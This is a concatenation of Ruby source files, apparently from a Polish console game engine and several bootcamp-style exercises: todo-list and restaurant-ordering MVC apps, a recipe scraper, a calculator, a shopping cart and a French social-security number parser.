@klatka = @ekran.zawartosc.map do |e| e.dup end if @kursor != nil @klatka[@kursor.y][@kursor.x] = @ekran.zawartosc[@kursor.y][@kursor.x].gsub(/\e\[(\d+)m/, '').kolor(@kursor.kolorCzcionki).kolorTla(@kursor.kolorTla) end @ekran.przesuniecieY.times { print "\n" } @klatka.each do |sub| @ekran.przesuniecieX.times { print " " } sub.each do |pixel| print pixel end puts "\n" end end end<file_sep>class Ekran attr_accessor :nazwa, :szerokosc, :wysokosc, :zawartosc, :przesuniecieX, :przesuniecieY def initialize() @nazwa = 'ekran' @szerokosc = 1 @wysokosc = 1 @przesuniecieX = 0 @przesuniecieY = 0 @kursor = nil @zawartosc = Array.new(@wysokosc) {Array.new(@szerokosc,' ')} end def UstawRozdzielczosc(szerokosc, wysokosc) @szerokosc = szerokosc @wysokosc = wysokosc @zawartosc = Array.new(@wysokosc) {Array.new(@szerokosc,' ')} end def UstawPrzesuniecie(x, y) @przesuniecieX = x @przesuniecieY = y end def WymazZeZnakiem(znak) @zawartosc = Array.new(@wysokosc) {Array.new(@szerokosc,znak.to_s)} end def WstawZnak(x, y, znak, kolorCzcionki, kolorTla) managerKolorow = ManagerKolorow.new kolorCzcionki, kolorTla = managerKolorow.UzyskajKolory(kolorCzcionki, kolorTla) @zawartosc[y][x] = znak.kolor(kolorCzcionki).kolorTla(kolorTla) end def WstawWyraz(x, y, wyraz, kolorCzcionki, kolorTla) managerKolorow = ManagerKolorow.new kolorCzcionki, kolorTla = managerKolorow.UzyskajKolory(kolorCzcionki, kolorTla) i=x+1 wyraz.split("").each do |znak| @zawartosc[y][i] = znak.kolor(kolorCzcionki).kolorTla(kolorTla) i = i+1 end end def DEBUG_EKRAN_RAPORT "\n Scena: \n> nazwa: #{@nazwa} \n> wymiary: #{@szerokosc} x #{@wysokosc}" end end<file_sep>require_relative '../ManagerSceny.rb' require_relative 'Classes/KeypressManager.rb' def PrzygotujScene $kolory = ["czerwony", "zielony", "brazowy", "niebieski", "magenta", "cyan", "szary", "bialy"] $scena = ManagerSceny.new $scena.StworzScene() $scena.ekran.UstawRozdzielczosc(50,15) $scena.ekran.UstawPrzesuniecie(24,8) $scena.ekran.WymazZeZnakiem(" ") $scena.StworzKursor() $scena.kursor.UstawKolor('czarny', 'szary') $scena.ekran.WstawZnak(2, 1, "╔", 'cyan', 'czarny') for i in 3..47 $scena.ekran.WstawZnak(i, 1, "═", 'cyan', 'czarny') end $scena.ekran.WstawZnak(47, 1, "╗", 'cyan', 'czarny') for i in 2..7 $scena.ekran.WstawZnak(47, i, "║", 'cyan', 'czarny') $scena.ekran.WstawZnak(2, i, "║", 'cyan', 'czarny') end $scena.ekran.WstawZnak(2, 8, "╚", 'cyan', 'czarny') for i in 3..46 $scena.ekran.WstawZnak(i, 8, "═", 'cyan', 'czarny') end $scena.ekran.WstawZnak(47, 8, "╝", 'cyan', 'czarny') $scena.ekran.WstawWyraz(15, 2, "███ TEST KURSORA ███", 'zielony','czarny') $scena.ekran.WstawWyraz(15, 5, "STEROWANIE - W,S,A,D", 'brazowy','czarny') $scena.ekran.WstawWyraz(14, 8, "╣ by <NAME> ╠", 'cyan','czarny') $scena.WyswietlScene() end def Renderuj c = read_char case c when "w" if($scena.kursor.y > 0) $scena.kursor.PrzemiescOWektor(0,-1) end when "s" if($scena.kursor.y < $scena.ekran.wysokosc-1) $scena.kursor.PrzemiescOWektor(0,1) end when "a" if($scena.kursor.x > 0) $scena.kursor.PrzemiescOWektor(-1,0) end when "d" if($scena.kursor.x < $scena.ekran.szerokosc-1) $scena.kursor.PrzemiescOWektor(1,0) end when "\u0003" puts "CONTROL-C" exit 0 else $scena.ekran.WstawZnak($scena.kursor.x, $scena.kursor.y , c, $kolory.sample(1).at(0), 'czarny') if( $scena.kursor.x < $scena.ekran.szerokosc - 1 ) $scena.kursor.PrzemiescOWektor(1,0) elsif( $scena.kursor.y+1 < $scena.ekran.wysokosc ) $scena.kursor.PrzemiescNaPozycje(0, $scena.kursor.y+1) end end $scena.WyswietlScene() end PrzygotujScene() Renderuj() while(true)<file_sep><p align="center"> <img src ="https://raw.githubusercontent.com/anatol-karlinski/Fuchsia-Console-Game-Engine/master/Testy/Test_Render.png" /> <img src ="https://raw.githubusercontent.com/anatol-karlinski/Fuchsia-Console-Game-Engine/master/Testy/Test_Kursor.png" /> </p> <file_sep>class ManagerKolorow def UzyskajKolory(kolorCzcionki, kolorTla) return UzyskajKolorCzcionki(kolorCzcionki), UzyskajKolorTla(kolorTla) end def UzyskajKolorTla(kolorTla) case kolorTla when 'czarny' @kolorTla = 40 when 'czerwony' @kolorTla = 41 when 'zielony' @kolorTla = 42 when 'brazowy' @kolorTla = 43 when 'niebieski' @kolorTla = 44 when 'magenta' @kolorTla = 45 when 'cyan' @kolorTla = 46 when 'szary' @kolorTla = 47 else @kolorTla = 40 end return @kolorTla end def UzyskajKolorCzcionki(kolorCzcionki) case kolorCzcionki when 'czarny' @kolorCzcionki = 30 when 'czerwony' @kolorCzcionki = 31 when 'zielony' @kolorCzcionki = 32 when 'brazowy' @kolorCzcionki = 33 when 'niebieski' @kolorCzcionki = 34 when 'magenta' @kolorCzcionki = 35 when 'cyan' @kolorCzcionki = 36 when 'szary' @kolorCzcionki = 37 when 'bialy' @kolorCzcionki = 01 else @kolorCzcionki = 01 end return @kolorCzcionki end end<file_sep>require_relative '../KlasyPomocnicze/ManagerKolorow.rb' class Kursor attr_accessor :x, :y, :kolorCzcionki, :kolorTla def initialize managerKolorow = ManagerKolorow.new @kolorCzcionki,@kolorTla = managerKolorow.UzyskajKolory('bialy', 'czarny') @x = 0 @y = 0 @wysokosc = 1; @szerokosc = 1; end def UstawKolor(kolorCzcionki, kolorTla) managerKolorow = ManagerKolorow.new @kolorCzcionki,@kolorTla = managerKolorow.UzyskajKolory(kolorCzcionki, kolorTla) end def PrzemiescNaPozycje(pozX, pozY) @x = pozX @y = pozY end def PrzemiescOWektor(wektorX, wektorY) @x = @x + wektorX @y = @y + wektorY end end<file_sep>require_relative '../ManagerSceny.rb' require_relative 'Classes/KeypressManager.rb' $scena = ManagerSceny.new $szerokosc = 65 $wysokosc = 26 $scena.StworzScene() $scena.ekran.UstawRozdzielczosc($szerokosc, $wysokosc) $scena.ekran.UstawPrzesuniecie(18,3) $scena.ekran.WstawZnak(0, 0, "╔", 'szary', 'czarny') ($szerokosc-1).times {|i| $scena.ekran.WstawZnak(i+1, 0, "═", 'szary','czarny')} $scena.ekran.WstawZnak($szerokosc-1, 0, "╗", 'szary', 'czarny') $scena.ekran.WstawZnak(0, $wysokosc-2, "╚", 'szary', 'czarny') ($szerokosc-1).times {|i| $scena.ekran.WstawZnak(i+1, $wysokosc-2, "═", 'szary','czarny')} $scena.ekran.WstawZnak($szerokosc-1, $wysokosc-2, "╝", 'szary', 'czarny') ($wysokosc-3).times {|i| $scena.ekran.WstawZnak(0, i+1 , "║", 'szary','czarny')} ($wysokosc-3).times {|i| $scena.ekran.WstawZnak($szerokosc-1, i+1 , "║", 'szary','czarny')} $scena.ekran.WstawWyraz($szerokosc/2-10, 0, "╣ by <NAME> ╠", 'szary','czarny') class Pilka attr_accessor :polozenieX, :polozenieY, :wektorX, :wektorY, :tekstura, :kolorPilki, :kolorTla def initialize() @wektorX = 0 @wektorY = 0 @polozenieX = $szerokosc/2 @polozenieY = ($wysokosc-2)/2 @tekstura = "*" @kolorPilki = 'szary' @kolorTla = 'czarny' end def pojawPilke $scena.ekran.WstawZnak(@polozenieX, @polozenieY, @tekstura, @kolorPilki, @kolorTla) end def przemiescPilke $scena.ekran.WstawZnak(@polozenieX, @polozenieY, " ", @kolorTla, @kolorTla) @polozenieX = @polozenieX + @wektorX @polozenieY = @polozenieY + @wektorY $scena.ekran.WstawZnak(@polozenieX, @polozenieY, @tekstura, @kolorPilki, @kolorTla) end end $ballz = Array.new(1, Pilka.new) $ballz.each do |pilka| pilka.polozenieX=10 pilka.polozenieY=10 wektor = Array.new(2) wektor = [1, 1] pilka.wektorX = wektor.sample pilka.wektorY = wektor.sample pilka.kolorPilki = 'szary' pilka.kolorTla = 'czarny' pilka.pojawPilke end $scena.ekran.WstawWyraz(17, 9, "████████╗███████╗███████╗████████╗", 'szary', 'czarny') $scena.ekran.WstawWyraz(17, 10,"╚══██╔══╝██╔════╝██╔════╝╚══██╔══╝", 'szary', 'czarny') $scena.ekran.WstawWyraz(17, 11," ██║ █████╗ ███████╗ ██║ ", 'szary', 'czarny') $scena.ekran.WstawWyraz(17, 12," ██║ ██╔══╝ ╚════██║ ██║ ", 'szary', 'czarny') $scena.ekran.WstawWyraz(17, 13," ██║ ███████╗███████║ ██║ ", 'szary', 'czarny') $scena.ekran.WstawWyraz(17, 14," ╚═╝ ╚══════╝╚══════╝ ╚═╝ ", 'szary', 'czarny') $scena.WyswietlScene() def renderuj $ballz.each do |pilka| if pilka.polozenieY==$wysokosc-3 || pilka.polozenieY==1 pilka.wektorY=pilka.wektorY*(-1) elsif pilka.polozenieX == $szerokosc-2 || pilka.polozenieX==1 pilka.wektorX=pilka.wektorX*(-1) end if (pilka.polozenieY==15 || pilka.polozenieY==8) && pilka.polozenieX > 17 && pilka.polozenieX < 51 pilka.wektorY=pilka.wektorY*(-1) elsif (pilka.polozenieX==16 || pilka.polozenieX==51) && pilka.polozenieY > 9 && pilka.polozenieY < 14 pilka.wektorX=pilka.wektorX*(-1) end end $ballz.each do |pilka| pilka.przemiescPilke end $scena.WyswietlScene() sleep(0.1) end renderuj while(true)
25bb19b88b6299f151718c9a01159aff92434d0f
[ "Markdown", "Ruby" ]
8
Ruby
anatol-karlinski/Fuchsia-Console-Game-Engine
761b3ee5d2df0a0e5db7dfe5fc2f81b05dfb966b
dc709e546eaee9828b96f575b8ef241bd7bdaf30
refs/heads/master
<file_sep>var appleTotal = 0; var orangeTotal = 0; var bananaTotal = 0; function validateApple() { var num = document.getElementById("apple").value; appleTotal = num * 0.69; } function validateOrange() { var num = document.getElementById("orange").value; orangeTotal = num * 0.59; } function validateBanana() { var num = document.getElementById("banana").value; bananaTotal = num * 0.49; } function displayTotal() { var taxtotal = (appleTotal + orangeTotal + bananaTotal) * 1.0775; alert("Your total cost is $" + taxtotal.toFixed(2) + "."); }<file_sep><!-- <NAME> CIS444 Date: 11/25/2019 http:// --> <?php // set up connection $servername = "localhost"; $username = "juare066"; $password = "<PASSWORD>"; $database = "juare066"; $conn = mysqli_connect($servername, $username, $password, $database); ?> <!DOCTYPE html> <html lang="en"> <head> <title> <NAME> </title> <meta charset="utf-8" /> <link rel="stylesheet" href="styles6.css"> </head> <body> <h1> NFL Football Teams </h1> <table> <caption>Statistics</caption> <tr> <th scope="col">teamID</th> <th scope="col">teamName</th> <th scope="col">startYear</th> <th scope="col">ownerName</th> <th scope="col">GMName</th> <th scope="col">coachName</th> <th scope="col">startQB</th> <th scope="col">officeAddress</th> <th scope="col">city</th> <th scope="col">state</th> <th scope="col">zipCode</th> <th scope="col">phone</th> <th scope="col">overallRecord</th> <th scope="col">confRecord</th> </tr> <?php // make query $team = $_POST['ID']; $result = mysqli_query($conn, "SELECT * FROM juare066.Teams WHERE teamID = '$team'"); // display results while ($row = mysqli_fetch_assoc($result)) { echo "<tr>"; foreach ($row as $column) echo "<td>$column</td>"; echo "</tr>"; } // display number of rows returned $rowcount=mysqli_num_rows($result); echo "Returned Results: $rowcount"; mysqli_close($conn); ?> </table> </body> </html>
88ffedfc0652110f3c02d4c5580c80a858f2f77e
[ "JavaScript", "PHP" ]
2
JavaScript
juare066/CIS444
2472413a6850564a525923a415dbbe06423cd02d
b61334b32a6760303e53072458b9ba41f40994dd
refs/heads/master
<file_sep>class TasksView def display(tasks) tasks.each_with_index do |task, index| status = task.done? ? '[x]' : '[ ]' puts "#{status} #{task.id} - #{task.description}" end end def ask_user_for_description puts 'What do you want to do?' gets.chomp end def ask_user_for_id puts 'Id?' gets.chomp.to_i end end <file_sep>require_relative '../views/order_view' class OrdersController def initialize(order_repository, customer_repository, employee_repository, meal_repository) @view = OrderView.new @order_repository = order_repository @customer_repository = customer_repository @employee_repository = employee_repository @meal_repository = meal_repository end def list_undelivered_orders orders =@order_repository.undelivered_orders @view.display(orders) end def list_my_orders(employee) orders = @order_repository.my_orders(employee) @view.display(orders) end def mark_as_delivered(employee) list_my_orders(employee) order_id = @view.ask_for('order') order = @order_repository.find(order_id) @order_repository.mark_as_delivered(order) end def add customers = @customer_repository.all @view.display_customers(customers) customer_id = @view.ask_for("customer") customer = @customer_repository.find(customer_id) employees = @employee_repository.delivery_guys @view.display_employees(employees) employee_id = @view.ask_for("employee") employee = @employee_repository.find(employee_id) meals = @meal_repository.all @view.display_meals(meals) meal_id = @view.ask_for("meal") meal = @meal_repository.find(meal_id) order = Order.new(customer: customer, meal: meal, employee: employee) @order_repository.add(order) end end <file_sep>class Task Attr_reader :name :deadline def initialize(name, deadline) @name = name @deadline = deadline @done = done end def done? @done end def mark_as_done! @done = true end end Task = Task.new("Faire les cours", Time.now + 50) <file_sep>class MealView def display(meals) puts puts "Meals list" meals.each do |meal| puts "#{meal.id} - #{meal.name} - #{meal.price}" end end def ask_for(item) puts puts "Which #{item}?" print ">" return gets.chomp end end <file_sep>require_relative 'app/controllers/meals_controller' require_relative 'app/repositories/meal_repository' require_relative 'app/controllers/customers_controller' require_relative 'app/repositories/customer_repository' require_relative 'app/controllers/sessions_controller' require_relative 'app/repositories/employee_repository' require_relative 'router' meal_repository = MealRepository.new('data/meals.csv') meals_controller = MealsController.new(meal_repository) customer_repository = CustomerRepository.new('data/customers.csv') customers_controller = CustomersController.new(customer_repository) employee_repository = EmployeeRepository.new('data/employees.csv') sessions_controller = SessionsController.new(employee_repository) router = Router.new(meals_controller, customers_controller, sessions_controller) router.run <file_sep># Object Oriented Programming Part of [Karr Examples](https://github.com/lewagon/karr-examples) ## Building Software ### TODO app A simple app to demonstrate the MVC pattern with a command line app. ```bash $ ruby start.rb ``` Then hit `Ctrl-C` to quit the program. You'll lose all your todos! #### Architecture - **Model**: `TodoItem` - **View**: `Display` - **Controller**: `Controller` We fake the database with `TodoRepository` and the browser with `InfiniteLoop`. <file_sep>class Router def initialize(meals_controller, customers_controller, sessions_controller, orders_controller) @meals_controller = meals_controller @customers_controller = customers_controller @sessions_controller = sessions_controller @orders_controller = orders_controller end def run puts '********************************************' puts ' Welcome' puts '********************************************' @employee = @sessions_controller.sign_in role = @employee.role while @employee if role == 'manager' menu_for_manager else menu_for_delivery_guy end end end def menu_for_manager puts puts "What do you want to do?" puts "1-List all meals" puts "2-Add a meal" puts "3-List customers" puts "4-Add customer" puts "5-List undelivered orders" puts "6-Add an order" puts "0-Exit" print "> " action = gets.chomp.to_i case action when 1 then @meals_controller.list when 2 then @meals_controller.add when 3 then @customers_controller.list when 4 then @customers_controller.add when 5 then @orders_controller.list_undelivered_orders when 6 then @orders_controller.add when 0 then @employee = nil else puts puts 'this action does not exist, try anothe one' end end def menu_for_delivery_guy puts "What do you want to do?" puts "1-List my undelivered orders" puts "2-Mark an order as delivered" puts "0-Exit" print "> " action = gets.chomp.to_i case action when 1 then @orders_controller.list_my_orders(@employee) when 2 then @orders_controller.mark_as_delivered(@employee) when 0 then @employee = nil else puts puts 'this action does not exist, try anothe one' end end end <file_sep>require_relative"calculator" # TODO : coder une calculatrice # demander à l'utlisateur un premier nombre # récupérer le nombre entrée par l'utlisateur # Demander le deuxième chiffre # récuperer le nombre entrée par l'utilisateur # demander l'opération (+, -, *, /) # stocker l'opération # selon l'opération calculer le résultat # Afficher le résulat à l'utilisateur choice = y while choice == "y" print "Entrer le premier nombre de votre opération >" first_number = gets.chomp.to_f print "Entrer le second nombre de votre opération >" second_number = gets.chomp.to_f print "Entrer votre opération (+, -, *, /) >" operation = gets.chomp result = calculate(first_number, second_number, operation) if result puts "Votre résultat est #{result}" else puts "Résultat invalide" end puts "veux tu continuer? (y/n)" choice = gets.chomp end <file_sep># TODO : parier sur le vainqueur # message d'accueil # Se donner le tableau des chevaux # afficher les chevaux en lice # demander à l'utilisateur sur quel cheval il veut parier # stocker le choix de l'utilisateur # simuler une course # stocker le résultat # comparer le choix de l'utilisateur avec le résultat puts "Bonjour, bienvenue à Longchamp" horses = ["Canaçon", "Sonic", "Belle de jour", "Bad Boy"] answer = "" while answer != "exit" puts "Voici les chevaux surlequels vous pouvez parier" horses.each_with_index do |horse, index| puts "cheval n°#{index + 1} - #{horse}" end puts "Sur quelle cheval voulez vous parier? donnez son numero" answer = gets.chomp if answer != "exit" index = answer.to_i bet = horses[index - 1] result = horses.shuffle winner = result.first if bet == winner puts "Tu décroches le gros lot" else puts "C'est perdu le vainqueur était #{winner}" end end end <file_sep>class SessionView def ask_for(item) puts puts "Which #{item}?" print ">" return gets.chomp end def wrong_credentials puts puts "Try again ..." end end <file_sep>class OrderView def display(orders) orders.each do |order| puts "#{order.id} - #{order.meal.name} - for #{order.customer.name} by #{order.employee.username}" end end def display_customers(customers) customers.each do |customer| puts "#{customer.id} - #{customer.name}" end end def display_meals(meals) meals.each do |meal| puts "#{meal.id} - #{meal.name}" end end def display_employees(employees) employees.each do |employee| puts "#{employee.id} - #{employee.username}" end end def ask_for(item) puts "Which #{item} ?" print ">" gets.chomp.to_i end end <file_sep>class Task attr_reader :name, :deadline def initialize(name, deadline) @name = name @deadline = deadline @done = false end def done? @done end def mark_as_done! @done = true end end task = Task.new("Faire les courses", Time.now + 50) <file_sep>class Task attr_reader :description, :id def initialize(attributes = {}) @id = attributes['id'] || attributes[:id] @description = attributes['description'] || attributes[:description] @done = attributes['done'] == 1 || attributes[:done] == 1 end def self.all response = DB.execute("SELECT * FROM tasks") response.map { |hash| Task.new(hash) } end def self.find(id) response = DB.execute("SELECT * FROM tasks WHERE id = ?", id).first Task.new(response) end def save if @id.nil? DB.execute("INSERT INTO tasks (description, done) VALUES (?, ?)", @description, @done ? 1 : 0 ) @id = DB.last_insert_row_id else DB.execute("UPDATE tasks SET description = ?, done = ? WHERE id = ?", @description, @done ? 1 : 0, @id ) end end def mark_as_done! @done = true end def done? @done end end <file_sep>require_relative 'app/controllers/meals_controller' require_relative 'app/repositories/meal_repository' require_relative 'app/controllers/customers_controller' require_relative 'app/repositories/customer_repository' require_relative 'app/controllers/sessions_controller' require_relative 'app/repositories/employee_repository' require_relative 'app/repositories/order_repository' require_relative 'app/controllers/orders_controller' require_relative 'router' meal_repository = MealRepository.new('data/meals.csv') meals_controller = MealsController.new(meal_repository) customer_repository = CustomerRepository.new('data/customers.csv') customers_controller = CustomersController.new(customer_repository) employee_repository = EmployeeRepository.new('data/employees.csv') sessions_controller = SessionsController.new(employee_repository) order_repository = OrderRepository.new('data/orders.csv', customer_repository, employee_repository, meal_repository) orders_controller = OrdersController.new(order_repository, customer_repository, employee_repository, meal_repository) router = Router.new(meals_controller, customers_controller, sessions_controller, orders_controller) router.run <file_sep>require 'open-uri' require 'nokogiri' require_relative "recipe" class Scraper def parse(ingredient) base_url = 'http://www.epicurious.com' url = "#{base_url}/tools/searchresults?search=#{ingredient}" doc = Nokogiri::HTML(open(url), nil, 'utf-8') results = [] doc.css('.sr_rows').each do |element| name = element.css('.recipeLnk').inner_text show_url = base_url + element.css('.recipeLnk').attribute('href') doc2 = Nokogiri::HTML(open(show_url), nil, 'utf-8') description = doc2.css('.dek > p').inner_text # active_time = doc2.css('dd.active-time').inner_text # total_time = doc2.css('dd.total-time').inner_text recipe = Recipe.new({ name: name, description: description, difficulty: 1 }) results << recipe end return results end end <file_sep>CREATE TABLE `tasks` ( `id` INTEGER PRIMARY KEY AUTOINCREMENT, `description` TEXT, `done` INTEGER ); INSERT INTO tasks (description, done) VALUES ('Drink a beer', 0);<file_sep>require_relative 'task' require_relative 'task_repository' require_relative 'tasks_controller' require_relative 'router' require 'sqlite3' repository = TaskRepository.new controller = TasksController.new(repository) router = Router.new(controller) DB = SQLite3::Database.new("tasks.db") DB.results_as_hash = true router.run <file_sep>class View def display_recipes(recipes, options = {}) show_tested_mark = options[:show_tested_mark] || false recipes.each_with_index do |recipe, index| done = show_tested_mark ? (recipe.done ? "[X] " : "[ ] ") : "" puts "#{index + 1}. #{done}#{recipe.name} - #{recipe.description} (#{recipe.difficulty}/5)" end end # def display_recipes(recipes) # recipes.each_with_index do |recipe, index| # puts "#{index + 1}. #{recipe.name} - #{recipe.description} (#{recipe.difficulty}/5)" # end # end def ask_user_for_recipe_name ask_user_for "Name" end def ask_user_for_recipe_description ask_user_for "Description" end def ask_user_for_recipe_index ask_user_for("Recipe id").to_i - 1 end def ask_user_for_recipe_difficulty ask_user_for("Difficulty (1 to 5)").to_i end def say_dummy puts "Dummy!" end def ask_user_for_ingredient ask_user_for 'Ingredient' end # DRY # Don't Repeat Yourself private def ask_user_for(label) puts "#{label}?" print "> " return gets.chomp end end <file_sep>class Recipe attr_reader :name, :description, :difficulty attr_accessor :done def initialize(attributes = {}) @name = attributes[:name] @description = attributes[:description] @difficulty = attributes[:difficulty] @done = false end def valid? if @name == nil || @name == "" return false elsif @description.length < 10 return false elsif @difficulty < 1 || @difficulty > 5 return false else return true end end def mark_as_done @done = true end end <file_sep>require "date" REG = /^(?<gender>[12])(?<year>\d{2})(?<month>\d{2})(?<dept>\d{2})\d{6}(?<key>\d{2})/ DEPARTEMENT = { "75" => "Paris", "76" => "Seine maritime" } def ssn_info(ssn) # TO DO => "a man, born in march, 1986 in Paris." result = ssn.match(REG) if result[:gender] == "1" gender = "a man" else gender = "a woman" end year = "19#{result[:year]}" month = Date::MONTHNAMES[result[:month].to_i] dept = DEPARTEMENT[result[:dept]] p number = ssn[0..12].to_i p key = result[:key].to_i p expected_key = 97 - (number % 97) if expected_key == key "You are #{gender}, born in #{month}, #{year}, in #{dept}" else "Not a valid number" end # Gender / Birth Years / month / Department / 6 non exploités/clé end puts ssn_info("186037510803191") # puts ssn_info(286037510803191) <file_sep>require_relative('../views/meal_view') class MealsController def initialize(meal_repository) @meal_repository = meal_repository @view = MealView.new end def list meals = @meal_repository.all @view.display(meals) end def add # ask name name = @view.ask_for('name') #ask price price = @view.ask_for('price').to_i # create meal meal = Meal.new(name: name, price: price) # save meal @meal_repository.add(meal) end end <file_sep>require 'io/console' class SessionView def ask_for(item) puts puts "Which #{item}?" print ">" if item == 'password' return STDIN.noecho(&:gets).chomp else return gets.chomp end end def wrong_credentials puts puts "Try again ..." end end <file_sep>require_relative 'tasks_view' class TasksController def initialize(repository) @repository = repository @view = TasksView.new end def list # 1. Fetch tasks from repo tasks = Task.all # 2. Send them to view for display @view.display(tasks) end def create # 1. Get description from view description = @view.ask_user_for_description # 2. Create new task task = Task.new(description: description) # 3. Add to repo task.save end def mark_as_done # 1. Display list with indices list # 2. Ask user for index id = @view.ask_user_for_id # 3. Fetch task from repo task = Task.find(id) # 4. Mark task as done task.mark_as_done! task.save end end <file_sep>require_relative "task_view" require_relative "task" class TaskController def initialize(repository) @repository = repository @view = TaskView.new end def tasks_list tasks = @repository.tasks @view.display_tasks(tasks) end def create_task name = @view.ask_for_task_name deadline = @view.ask_for_deadline task = Task.new(name, deadline) @repository.add_task(task) end def mark_task_as_done tasks_list index = @view.ask_for_task_index task = @repository.find(index) task.mark_as_done! end end <file_sep>Restaurant.create(name: "<NAME>", address: "villa Gaudelet", rating: 2)<file_sep>require_relative '../views/session_view' class SessionsController def initialize(employee_repository) @view = SessionView.new @employee_repository = employee_repository end def sign_in #ask for username username = @view.ask_for('username') #ask for password password = @view.ask_for('password') #check if username exist => EmployeeRepository employee = @employee_repository.find_by_username(username) if employee && employee.password == <PASSWORD> return employee else @view.wrong_credentials # ask to sign_in again sign_in # recursivity end end end <file_sep>require 'colorize' class House # une maison a une longueur, une largeur et une couleur # on peut dessiner une maison def initialize(length, width, color) @length = length @width = width @color = color end def display puts ("#"*@length).colorize(@color.to_sym) print (("#" + (" ") * (@length-2) + "#\n") * (@width-2)).colorize(@color.to_sym) puts ("#"*@length).colorize(@color.to_sym) end end my_house = House.new(10, 8, "red") <file_sep>require_relative 'house.rb' require_relative 'road.rb' ma_maison = House.new(20, 8, "red" ) ta_maison = House.new(25, 12, "green") ma_route = Road.new(75, 5, "A6", "yellow") ma_maison.display ma_route.display ta_maison.display <file_sep>class TaskView def display_tasks(tasks) tasks.each_with_index do |task, index| puts "#{index + 1} - #{task.name} [#{task.done? ? "X" : " "}]" end end def ask_for_task_name puts "Veuillez entrer un nom pour votre tache" gets.chomp end def ask_for_deadline puts "Veuillez entrer une deadline" gets.chomp end def ask_for_task_index puts "Quelle tache voulez vous choisir" gets.chomp.to_i - 1 end end<file_sep>class TaskRepository attr_reader :tasks def initialize @tasks = [] end def add_task(task) @tasks << task end def delete_task(index) @task.delete_at(index) end def find(index) @task[index] end end # ajouter # supprimer # update --> find () # lire la liste des taches <file_sep># TODO : coder un logiciel pour faire ses courses # Se donner un panier vide # Se donner un stock de produits disponibles # Afficher une liste de produit # Demander à l'utilisateur quel produit il souhaite # Ajouter ce choix au panier # Recommander le choix cart = [] items = ["pomme", "orange", "quinoa", "pain"] while true puts "les produits disponibles sont :" items.each_with_index do |item, index| puts "#{index +1} - #{item}" end puts "Quel produits souhaitez-vous rajouter dans votre panier? Tapez le nom du produit ou exit pour sortir" user_choice = gets.chomp if user_choice == "exit" break elsif items.include? user_choice cart << user_choice else puts "Invalid choice." end end p cart <file_sep>class Router # run # print_menu # dispatch def initialize (controller) @controller = controller end def run loop do print_menu action = gets.chomp.to_i dispatch(action) break end end def dispatch(user_choice) if user_choice == 1 @controller.tasks_list elsif user_choice == 2 @controller.create_task elsif ser_choice == 3 end end def print_menu puts "Que voulez-vous faire?" puts "1. Afficher les taches" puts "2. Creer une tâche" puts "3. Rayer une tâche" puts "4. Supprimerune tâche" puts "5. Je me casse les gars" require_relative "task_repository" require_relative "task_controller" require_relative "router" repository = TaskRepository.new controller = Controller.new(repository) router = Router.new(controller) router.run end <file_sep># TODO Manager -- MODEL -- Task -> Representer ma donnée name (string) deadline (date) done (boolen) Repository -> La liste de mes données (task) -- VIEW -- View -> Afficher de la donnée -- CONTROLLER -- Controller -> aller chercher la donnée et la fournir à la view #------------- Router -> ... SRP - Single Responsibility Principle <file_sep># Se donner un panier vide # Se donner un stock de produits disponibles # Afficher une liste de produit # Demander à l'utilisateur quel produit il souhaite # Ajouter ce choix au panier # Recommancer le choix # Finaliser la commande # Afficher le contenu du panier cart = {} items = { "bananes" => {price: 3.5, stock: 10}, "poires" => {price: 4.0, stock: 8}, "pommes" => {price: 12.0, stock: 15}, "fraises" => {price: 1.2, stock: 20} } puts "Les produits disponibles sont :" items.each do |produit, prix| prix = items[produit][:price] puts "- #{produit} : #{prix} €" end while true puts "Choisissez un produit à ajouter au panier ou tapez fin " user_order = gets.chomp if user_order == "fin" break elsif items.has_key? user_order puts "Combien?" amount = gets.chomp.to_i while amount > items[user_order][:stock] puts "Désolé il n'y en a pas assez, le stock actuel est #{items[user_order][:stock]}... Combien?" amount = gets.chomp.to_i end if cart.has_key? user_order cart[user_order] += amount else cart[user_order] = amount end # decrementer le stock items[user_order][:stock] -= amount else puts "Produit incorrect" end end # on part d'un montant nul # On parcours le panier # Pour chaque article du panier => chercher le prix # Ajouter au montant sum = 0 puts "-" * 60 puts "Ticket de caisse du client" cart.each do |article, quantity| sub_total = items[article][:price] * quantity puts "- #{quantity} kg de #{article} à #{items[article][:price]}€ chaque => #{sub_total}€" sum += sub_total end puts "Total = #{sum}" puts "-" * 60 puts "Etat du stock" items.each do | produit, stock| stock = items[produit][:stock] puts "#{produit} : #{stock}" end puts "-" * 60 <file_sep> require_relative "task" class TaskView def initialize @tasks = [] end def display_task(task) tasks.each_with_index do |task, index| puts "#{index +1} - #{task.name} [#{task.done?}" end # Message d'accuueil pour la création def creation_message puts 'Vous aller maintenant créer une tâche' end def ask_for_task_name puts 'Veuiller entrer un nom pour votre tache' gets.chomp end def ask_for_deadline puts 'Veuiller entrer une deadline' gets.chomp end def ask_for_task_index puts 'Quelle tache voulez vous choisir' gets.chomp.to_i end # Creer # on va demander le nom de la tache # on va demander la deadline # Supprimer # Message d'accuueil pour la suppression # Affichage de la liste des tache # Demander quelle tache on veut supprimer # Afficher # Affichage de la liste des tache # Updater -> Passer une tache à true # Affichage de la liste des tache # Demander quel tache on veut adpater end <file_sep>require_relative '../models/order' require 'csv' class OrderRepository def initialize(csv_file_path, customer_repo, employee_repo, meal_repo) @csv_file_path = csv_file_path @customer_repo = customer_repo @employee_repo = employee_repo @meal_repo = meal_repo @orders = [] load_csv end def undelivered_orders @orders.reject { |order| order.delivered? } end def add(order) order.id = @next_id @next_id += 1 @orders << order save_csv end def mark_as_delivered(order) order.deliver! save_csv end def my_orders(employee) undelivered_orders.select { |order| order.employee == employee} end def find(id) @orders.find { |order| order.id == id } end private def load_csv csv_options = { headers: :first_row, header_converters: :symbol } CSV.foreach(@csv_file_path, csv_options) do |row| row[:id] = row[:id].to_i row[:delivered] = row[:delivered] == 'true' row[:customer] = @customer_repo.find(row[:customer_id].to_i) row[:employee] = @employee_repo.find(row[:employee_id].to_i) row[:meal] = @meal_repo.find(row[:meal_id].to_i) @orders << Order.new(row) end @next_id = @orders.empty? ? 1 : @orders.last.id + 1 end def save_csv CSV.open(@csv_file_path,'wb') do |csv| csv << %w[id delivered customer_id employee_id meal_id] @orders.each do |order| csv << [order.id, order.delivered?, order.customer.id, order.employee.id, order.meal.id] end end end end <file_sep>require_relative "task" class TaskRepository attr_reader :tasks def initialize @tasks = [] end def add_task(task) @tasks << task end def delete_task(index) @tasks.delete_at(index) end def find(index) @tasks[index] end end <file_sep>class Router def initialize(meals_controller, customers_controller) @meals_controller = meals_controller @customers_controller = customers_controller end def run action = 1 until action == 0 